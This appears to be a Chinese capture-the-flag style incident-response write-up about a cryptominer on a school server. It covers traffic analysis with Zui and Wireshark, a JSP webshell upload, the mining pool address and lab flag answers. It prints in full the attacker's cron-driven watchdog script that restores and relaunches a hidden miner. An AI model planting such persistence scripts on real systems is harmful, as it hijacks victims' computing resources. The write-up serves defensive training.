挖矿-学校挖矿排查

news/2025/10/21 19:41:12/文章来源:https://www.cnblogs.com/HalfwayMousie/p/19156273

挖矿-学校挖矿排查

1、使用工具分析共有多少IP存在扫描web特征,提交其数量

这里我们直接访问百度网盘将流量下载到本地然后直接导入到 ZUI里面,这个工具很方便对流量进行筛选

流量分析工具ZUI安装

然后使用命令搜索

count() by id.orig_h,status_code|status_code == 404

可以看到右下角有32条 但是这里也要排除本身的IP 那种数据量少的不符合攻击机的ip流量特征,以及要排除本身的ip总共出去四条 但是这里并没有显示所有是三条 所以存在IP扫描特征的web总共 29条

image-20251021164934427

flag{29}

或者直接在wireshark里面点击统计,IPv4,ALL address

image-20251021165222521

在下面显示过滤器里面搜索 http.response.code == 404

image-20251021165412849

在这里本机ip的流量也会出现

2、在2025.6.22日17点03分27秒,192.168.37.10,55689端口进行访问的url路径以flag方式进行提交(应急三要素缩小范围)

这里看了州学弟大佬的视频使用提示词给我生成了一条wireshark提示词

在2025.6.22日17点03分27秒,192.168.37.10 ,55689端口进行访问url路径
给我wireshark筛选语句
frame.time >= "Jun 22, 2025 17:03:27" and frame.time <= "Jun 22, 2025 17:03:28" 
and (ip.src == 192.168.37.10 or ip.dst == 192.168.37.10) 
and tcp.port == 55689

image-20251021165927946

可以看到这里有几条http的流量但是在这个时间段我们也不知道是那个url是flag 这几个都分别提交一下最后flag为

flag{/uploads/06853c4f-8b05-4949-90ae-9adc49f27a94.jsp}

3、提交存在使用NMAP扫描特征的IP

这里让我们赵哪些流量有Nmap 在有nmap的流量包里面的user-agent里面是有Nmap字段的,我们可以以此为契机直接搜索哪些流量里面有nmap字段

http.user_agent contains "Nmap

image-20251021170551494

或者使用

tcp.flags.syn ==1 && tcp.flags.ack ==0

image-20251021170621388

flag{192.168.37.4}

命令解析:tcp.flags.syn == 1 && tcp.flags.ack == 0

这是 Wireshark 的显示过滤语法,用于匹配满足以下条件的 TCP 数据包:

字段 含义
tcp.flags.syn == 1 TCP 报头中 SYN 标志位被置为 1(表示“同步序列号”,发起连接)
tcp.flags.ack == 0 TCP 报头中 ACK 标志位为 0(表示这不是一个确认包) 因此,该过滤器匹配的是:

所有设置了 SYN 位但未设置 ACK 位的 TCP 数据包

即:TCP 三次握手的第一个数据包 —— 客户端发起连接请求(SYN 包)

二、Nmap 的默认扫描方式:SYN Scan(-sS)

Nmap 最常用的扫描方式是 SYN 扫描(半开放扫描),其特点是:

  1. Nmap 发送一个 SYN 包 到目标端口;
  2. 如果目标返回 SYN-ACK → 端口开放;
  3. 如果目标返回 RST → 端口关闭;
  4. Nmap 不会完成三次握手,即不发送最后的 ACK;
  5. 这样既探测了端口状态,又不会建立完整连接,隐蔽性强。

Nmap SYN 扫描过程示例:

攻击机 (Nmap)       →      目标主机SYN ---------------->  Port X←-------------- SYN-ACK   (Port Open)RST (本地重置)           ← 不发送 ACK!

Copy

Plain text

所以你会发现:只有第一个 SYN 包是从外部主动发往目标的,并且它的特征就是:SYN=1, ACK=0

三、为什么这个特征能检测到 Nmap 流量?

正常用户行为 vs Nmap 扫描行为对比

行为类型 典型 TCP 特征 是否常见
正常浏览器访问(如打开网页) 完整三次握手: SYN → SYN-ACK ← ACK → ✔️ 常见
Nmap -sS 扫描多个端口 大量子网内主机/端口发送大量 SYN=1, ACK=0 ❌ 异常
操作系统正常通信 几乎不会有大批量 SYN=1, ACK=0 发往不同端口 ❌ 极少出现

在短时间内,如果某个源 IP 向多个目标 IP 或同一 IP 的多个端口发送大量:

SYN=1, ACK=0

Copy

Plain text

的数据包,而没有后续的 ACK(说明不是真实应用层连接),这就极有可能是 端口扫描行为,尤其是 Nmap 的典型指纹。

4、审计流量并结合web站点,攻击者通过什么漏洞进行控制主机,提交漏洞文件名接口

这里也是使用zui进行排查

count () by id.orig_h,status_code,uri|status_code==200|sort -r count

image-20251021173234653

在这里看到 /uploads/70b86b64-ce15-46bf-8095-4764809e2ee5.jsp 但是这里不是这个应该是个木马文件 这里是第二个 /servlet/user/profile?uploadSuccess=true 我们再去wireshark里面搜索一下

ip.addr == 192.168.37.10 &&http.request.uri=="/servlet/user/profile?uploadSuccess=true"

image-20251021174007770

image-20251021174038299

可以看到这里有冰蝎的webshell流量

flag{uploadAvatar}

5、审计流量并结合web站点,攻击者通过哪个用户名利用的漏洞,提交其注册用户名

我们在目标站点点击登录接口,

image-20251021183027496

这里有个登录接口 /servlet/user/login

image-20251021174517299

image-20251021174923929

这里使用了出现了账号密码并且下面出现了302跳转

flag{wangyunqing}

6、审计流量并结合漏洞,提交攻击者控制成功木马文件名

在前面统计的时候发现这个文件/uploads/70b86b64-ce15-46bf-8095-4764809e2ee5.jsp 流量包很多怀疑是木马文件 我们在wireshark里面搜索一下

image-20251021173234653

image-20251021175245002

在里面找一条POST流量包 丢入蓝队分析取证工具 没有的可以看一下 希潭实验室获取

image-20251021175325630

flag{70b86b64-ce15-46bf-8095-4764809e2ee5.jsp}

7、审计流量并清除掉攻击者上传的木马,清除成功后在/var/flag/1/flag中查看flag并提交

这里我们清楚上传木马文件是 70b86b64-ce15-46bf-8095-4764809e2ee5.jsp这里需要进行模糊搜索

find / -name *2ee5.jsp

image-20251021180307979

image-20251021180414270

将这个文件删除拿到flag

flag{1979c46c2af37dc62a4b05881e816995}

8、黑客拿到主机权限后,上传了挖矿木马,需要你提交矿池地址

使用top查看当前cpu占用率 可以看到这个java进程的cpu占用率最高。

image-20251021180517339

image-20251021180611955

在进程里面能看到这个java地址 ,使用finallshell将这个java包下载到本地

image-20251021183346306

使用idea反编译一下即可拿到flag

flag{pool.minexmr.com:4444}

9、清除掉主机上的挖矿木马,完成后在/var/flag/2/flag文件中查看flag并提交

image-20251021180758521

flag{da236fe0cda81bfc03d022799589110e}

10、黑客做了后门,即使你清除以后,仍然会定时更新挖矿程序并运行,你找到这个程序,提交其路径

这里提到了定时,我们怀疑是不是有计划任务 使用crontab -l 查看当前计划任务 在当前计划任务里面有一个.sh文件

image-20251021181011829

image-20251021181056969

#!/bin/bashSOURCE_FILE="/usr/share/.miner/miner.jar"
DEST_FILE="/tmp/miner.jar"
PROCESS_NAME="java -jar $DEST_FILE"
LOG_FILE="/var/log/.malware_events.log"if pgrep -f "$PROCESS_NAME" > /dev/null; thenexit 0
elseecho "[$(date)] Miner process not found. Taking action..." >> "$LOG_FILE"if [ ! -f "$DEST_FILE" ]; thenecho "[$(date)] Miner file ($DEST_FILE) is missing. Restoring from backup..." >> "$LOG_FILE"cp "$SOURCE_FILE" "$DEST_FILE"chmod +x "$DEST_FILE"fiif [ -f "$DEST_FILE" ]; thennohup java -jar "$DEST_FILE" > /dev/null 2>&1 &echo "[$(date)] Miner process restarted with PID $!." >> "$LOG_FILE"elseecho "[$(date)] CRITICAL: Could not restore miner file from backup. Cannot start." >> "$LOG_FILE"fi
这是一个 Linux 系统下的挖矿病毒自启动守护脚本,其作用是确保一个基于 Java 的挖矿程序(miner.jar)在后台持续运行。如果该挖矿进程被终止或文件被删除,此脚本会自动恢复并重新启动它。
项目 分析
类型 Linux 下的 Java 基于的 加密货币挖矿木马(Crypto Miner)
语言依赖 需要系统安装 Java 环境(JRE/JDK),常见为 OpenJDK 或 Oracle JDK
传播方式推测 可能通过弱口令 SSH、未授权 Redis、Webshell 等方式植入
持久化机制 1. 定时任务(crontab) 2. systemd 服务 3. 此类守护脚本定期检查重启
隐蔽性设计 文件路径全为隐藏(. 开头)日志伪装成正常系统日志进程伪装为普通 Java 应用
危害表现 CPU 占用飙升、服务器变慢、电费/资源浪费、可能成为跳板机进一步横向渗透
flag{/usr/share/.per/persistence.sh}

脚本功能逐行分析

#!/bin/bash

Copy

Bash

  • 指定使用 bash 解释器执行该脚本。
SOURCE_FILE="/usr/share/.miner/miner.jar"
DEST_FILE="/tmp/miner.jar"
PROCESS_NAME="java -jar $DEST_FILE"
LOG_FILE="/var/log/.malware_events.log"

Copy

Bash

  • 定义关键变量:
    • SOURCE_FILE:原始的挖矿 JAR 文件备份路径(隐藏目录,通常用于持久化存储)。
    • DEST_FILE:当前运行的挖矿程序副本路径(放在 /tmp 目录下,重启后可能丢失,但脚本能从源恢复)。
    • PROCESS_NAME:要监控的进程命令名(java -jar /tmp/miner.jar)。
    • LOG_FILE:记录恶意活动日志的路径(也隐藏在系统日志目录中)。
if pgrep -f "$PROCESS_NAME" > /dev/null; thenexit 0
elseecho "[$(date)] Miner process not found. Taking action..." >> "$LOG_FILE"

Copy

Bash

  • 使用 pgrep -f 查找是否正在运行目标进程(通过完整命令行匹配)。
  • 如果找到,则退出脚本(无需操作);
  • 否则,表示挖矿进程已停止,开始“修复”流程,并记录时间戳到日志。
    if [ ! -f "$DEST_FILE" ]; thenecho "[$(date)] Miner file ($DEST_FILE) is missing. Restoring from backup..." >> "$LOG_FILE"cp "$SOURCE_FILE" "$DEST_FILE"chmod +x "$DEST_FILE"fi

Copy

Bash

  • 判断 /tmp/miner.jar 是否存在。
  • 若不存在,则从隐藏备份路径 /usr/share/.miner/miner.jar 复制过来,并赋予可执行权限。
    if [ -f "$DEST_FILE" ]; thennohup java -jar "$DEST_FILE" > /dev/null 2>&1 &echo "[$(date)] Miner process restarted with PID $!." >> "$LOG_FILE"elseecho "[$(date)] CRITICAL: Could not restore miner file from backup. Cannot start." >> "$LOG_FILE"fi
fi

Copy

Bash

  • 检查恢复后的文件是否存在。

    • 存在 → 使用

      nohup
      

      在后台启动 Java 挖矿程序(避免终端关闭中断),并将输出丢弃。

      • $! 是刚启动进程的 PID,写入日志便于追踪。
    • 不存在 → 写入严重错误日志,无法启动。

11、清除掉后门挖矿程序,在/var/flag/3/flag下查看提交flag

首先我们先删除备份的木马文件

rm -rf /usr/share/.miner/miner.jar

其次我们删除这个后面挖矿程序

rm -rf /usr/share/.per/persistence.sh

取消当前计划任务

crontab -e

image-20251021182028678

最后杀死当前进程

image-20251021182152240

flag{27bd067769b51ed71f899c7a6f08af2c}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/942603.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

读书日记2

四五章深入探讨了软件构建的关键前期工作,让我认识到优秀代码的质量在很大程度上是由设计阶段决定的。 核心收获与深刻见解: 1.设计的层次性思维:McConnell详细阐述了从系统架构到类设计,再到子程序设计的完整层次…

定位问题3:明明堆栈已经打印出来了,偏就是定位不出来?

堆栈如下,明明是在AAA::B函数里core了,而且是概率core的,可就是定位不出来 B函数很简单 1. 第一句打印入参 2. 其它都是函数调用 3. 打印退出消息 对于1 ,参数如下,不可能为nullptr,也排查了调用处(仅2处),不存…

Spring 统一机制处理 - 拦截器与适配器

Spring 统一机制处理 - 拦截器与适配器pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Mon…

鸿蒙hdc命令【杭州多测师】

1、查看版本hdc -v2、查看连接设备hdc list targets3、安装应用hdc app install .\phone-launcher-default-signed.hap// 覆盖安装hdc app install -r .\phone-launcher-default-signed.hap// 安装、更新,多HAP可以指…

电脑黑屏只剩鼠标-解决方案 - 教程

电脑黑屏只剩鼠标-解决方案 - 教程2025-10-21 19:26 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !impo…

如何将海量纸质表格一键数字化?表格识别技术给出答案

在当今的智能办公时代,海量的信息仍被困在纸质文档或僵化的电子图片中,其中,结构复杂、数据密集的表格是信息数字化的主要瓶颈之一。表格识别技术的崛起,正如同一位不知疲倦的“数据捕手”,精准地破解了这一难题,…

10.21 NOIP 模拟赛 T1. 小 h 学步

思路 最终答案为: [ ans = \sum_{i} \left( \left( \sum x_i \right)^2 + \left( \sum y_i \right)^2 + \left( \sum z_i \right)^2 \right) ] 其中对于同一个 ( i, x_i, y_i, z_i ) 互相关联。 将 ( x ) 部分的平方拆…

深入解析:【Linux】生产者消费者模型

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

湖南新建高速项目的“神经网络”是如何搭建的?——揭秘80公里高速的收费、通信、监控一体化系统

湖南新建高速项目的“神经网络”是如何搭建的?——揭秘80公里高速的收费、通信、监控一体化系统湖南省某条贯穿山区、串联景区的高速公路,不仅是交通主干道,更是区域协同发展和旅游经济助推器。全长约80公里,北起湘…

深入解析:大数据Spark(六十六):Transformation转换算子sample、sortBy和sortByKey

深入解析:大数据Spark(六十六):Transformation转换算子sample、sortBy和sortByKeypre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; …

完整教程:web前端团队开发code review方案最佳实践

完整教程:web前端团队开发code review方案最佳实践pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas"…

实用指南:免费html网页模板 html5网站模板 静态网页模板

实用指南:免费html网页模板 html5网站模板 静态网页模板pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas…

最大值的不同统计方法

题目:CF2154B 2154B 题目中有这样一句话: 操作1: 选择一个整数 i 并执行 : 用最大值为 i的前缀替换 $ a_i $ 。 $$ \sum_{i=0}^n i^2 = \frac{(n^2+n)(2n+1)}{6} $$

加密货币如何改变金融诈骗的游戏规则

本文深入分析加密货币如何被诈骗分子利用实施新型金融犯罪,揭露了包括虚假赠品网站、匿名钱包洗钱、AI深度伪造等最新诈骗手法,并提供了5种实用防护策略保护个人资产安全。加密货币如何改变金融诈骗的游戏规则 加密货…

leetcode448. 找到所有数组中消失的数字

leetcode448. 找到所有数组中消失的数字448. 找到所有数组中消失的数字我的解法:额外数组class Solution {public List<Integer> findDisappearedNumbers(int[] nums) {int n = nums.length;boolean[] flag = n…

远程服务器显示pyQt界面

远程服务器显示pyQt界面1 vscode+mobaxterm实现服务器图形显示 在服务器上跑深度学习任务是有时候会需要可视化图片,但是服务器一般没有图形显示的功能: $ xclock Error: Cant open display: 可以通过 vscode+mobaxt…

揭开 C++ vector 底层面纱:从三指针模型到手写完整实现 - 指南

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

java的字符和字符串

这是一个非常基础且重要的概念,用一个简单的比喻就很容易理解:字符 (Character): 就像一个“字母”或一个“汉字”。 字符串 (String): 就像一个“单词”或“一句话”。1. 字符 (Character)概念: 它是文本的最小、…

python_日志记录-loguru

日志记录-loguru1 使用 loguru 安装 pip install loguru如何使用 from loguru import loggerlogger.debug("This is a debug message") logger.info("This is an info message") logger.warning(&…

软工第三次作业--结对作业

廖永祺 谭钧灏 3123004628 GitHub项目地址:这个作业属于哪个课程 <班级的链接>这个作业要求在哪里 https://edu.cnblogs.com/campus/gdgy/Class12Grade23ComputerScience/homework/13470这个作业的目标 熟悉小组…